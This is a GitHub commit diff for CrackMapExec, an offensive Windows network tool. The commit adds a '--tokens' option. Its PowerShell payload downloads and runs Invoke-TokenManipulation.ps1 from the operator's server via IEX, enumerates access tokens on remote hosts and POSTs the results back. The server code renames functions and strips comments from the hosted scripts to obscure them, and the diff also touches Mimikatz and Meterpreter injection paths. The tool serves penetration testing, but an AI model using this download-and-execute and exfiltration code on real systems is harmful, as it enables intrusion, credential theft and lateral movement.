Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 4c3ca3a

Browse files
author
byt3bl33d3r
committed
Added the --tokens options to enumerate available tokens (issue #86)
Re-added Empire's function to strip powershell comments Changed the PowerView PS script to the actual supported one
1 parent 5814121 commit 4c3ca3a

File tree

6 files changed

+2097
-153
lines changed

6 files changed

+2097
-153
lines changed

core/greenlets.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -307,6 +307,19 @@ def main_greenlet(host):
307307
passwd,
308308
ntlm_hash)
309309

310+
if settings.args.tokens:
311+
powah_command = PowerShell(settings.args.server, local_ip)
312+
EXECUTOR(cme_logger,
313+
powah_command.token_enum(),
314+
host,
315+
domain,
316+
True,
317+
connection,
318+
settings.args.execm,
319+
user,
320+
passwd,
321+
ntlm_hash)
322+
310323
if settings.args.inject:
311324
powah_command = PowerShell(settings.args.server, local_ip)
312325
if settings.args.inject.startswith('met_'):

core/powershell.py

Lines changed: 24 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ def gpp_passwords(self):
8181
def powerview(self, command):
8282

8383
command = """
84-
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/powerview.ps1');
84+
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/PowerView.ps1');
8585
$output = {view_command} | Out-String;
8686
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
8787
$request.Method = 'POST';
@@ -101,6 +101,29 @@ def powerview(self, command):
101101
else:
102102
return ps_command(command, int(self.arch))
103103

104+
def token_enum(self):
105+
106+
command = """
107+
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-TokenManipulation.ps1');
108+
$output = Invoke-{func_name} -Enumerate | Out-String;
109+
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
110+
$request.Method = 'POST';
111+
$request.ContentType = 'application/x-www-form-urlencoded';
112+
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
113+
$request.ContentLength = $bytes.Length;
114+
$requestStream = $request.GetRequestStream();
115+
$requestStream.Write( $bytes, 0, $bytes.Length );
116+
$requestStream.Close();
117+
$request.GetResponse();""".format(protocol=self.protocol,
118+
func_name=self.func_name,
119+
port=settings.args.server_port,
120+
addr=self.localip)
121+
122+
if self.arch == 'auto':
123+
return ps_command(command, 64)
124+
else:
125+
return ps_command(command, int(self.arch))
126+
104127
def inject_meterpreter(self):
105128
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
106129
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode

core/servers/mimikatz.py

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,6 @@
1111
import ssl
1212

1313
func_name = re.compile('CHANGE_ME_HERE')
14-
comments = re.compile('#.+')
15-
synopsis = re.compile('<#.+#>')
1614

1715
class MimikatzServer(BaseHTTPRequestHandler):
1816

@@ -26,6 +24,17 @@ def save_mimikatz_output(self, data, cme_logger):
2624
creds.write(data)
2725
cme_logger.info("Saved Mimikatz's output to {}".format(log_name))
2826

27+
def strip_powershell_comments(self, data):
28+
"""
29+
Strip block comments, line comments, empty lines, verbose statements,
30+
and debug statements from a PowerShell source file.
31+
"""
32+
# strip block comments
33+
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', data)
34+
# strip blank lines, lines starting with #, and verbose/debug statements
35+
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
36+
return strippedCode
37+
2938
def do_GET(self):
3039
if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
3140
self.send_response(200)
@@ -34,9 +43,8 @@ def do_GET(self):
3443
ps_script = script.read()
3544
if self.path[1:] != 'powerview.ps1':
3645
logging.info('Obfuscating Powershell script')
37-
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
3846
ps_script = func_name.sub(settings.obfs_func_name, ps_script) #Randomizes the function name
39-
ps_script = comments.sub('', ps_script) #Removes the comments
47+
ps_script = self.strip_powershell_comments(ps_script)
4048
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
4149
self.wfile.write(ps_script)
4250

@@ -102,6 +110,12 @@ def do_POST(self):
102110
for line in buf:
103111
cme_logger.results(line.strip())
104112

113+
elif settings.args.tokens and data:
114+
cme_logger.success('Retrieved avalible tokens:')
115+
buf = StringIO(data.strip()).readlines()
116+
for line in buf:
117+
cme_logger.results(line.strip())
118+
105119
def http_server(port):
106120
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', port), MimikatzServer)
107121
t = Thread(name='http_server', target=http_server.serve_forever)

crackmapexec.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,7 @@
9191

9292
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
9393
egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="List shares")
94+
egroup.add_argument("--tokens", action='store_true', help="Enumerate available tokens")
9495
egroup.add_argument('--check-uac', action='store_true', dest='check_uac', help='Checks UAC status')
9596
egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
9697
egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks')
@@ -268,7 +269,7 @@ def populate_targets(target):
268269
else:
269270
populate_targets(target)
270271

271-
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
272+
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
272273
if args.server == 'http':
273274
http_server(args.server_port)
274275

@@ -290,7 +291,7 @@ def concurrency(targets):
290291

291292
concurrency(targets)
292293

293-
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
294+
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
294295
try:
295296
while True:
296297
sleep(1)

0 commit comments

Comments
 (0)